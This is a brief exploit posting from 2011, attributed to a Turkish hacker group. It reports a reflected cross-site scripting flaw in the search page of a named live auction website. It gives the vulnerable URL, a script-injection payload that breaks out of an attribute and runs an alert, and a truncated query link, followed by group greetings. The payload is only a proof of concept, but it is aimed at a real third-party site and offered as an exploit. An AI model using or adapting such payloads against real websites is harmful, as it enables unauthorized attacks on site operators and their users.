Rinkya Cross Site Scripting

# Exploit Title: Rinkya Cross Site Scripting
# Date: 22.10.2011 - 17.52
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php

-------------------------------------------------------------

search.php

http://www.rinkya.com/membership/search.php

"><script>alert("DDz Mr.PaPaRoSSe")</script>

http://www.rinkya.com/membership/search.php?sType=Auction&s........

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: http://DarkDevilz.in/
-------------------------------------------------------------
3spi0n     -  ALEXTRAX      -  sanTiq0  
Deathless  -  ZyX           -  Tarxes
53rh4+     -  bLaCk_uMo     -  PeRs 
syntaX     -  Mavi_Karalýk  -  DarkCOD3R

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]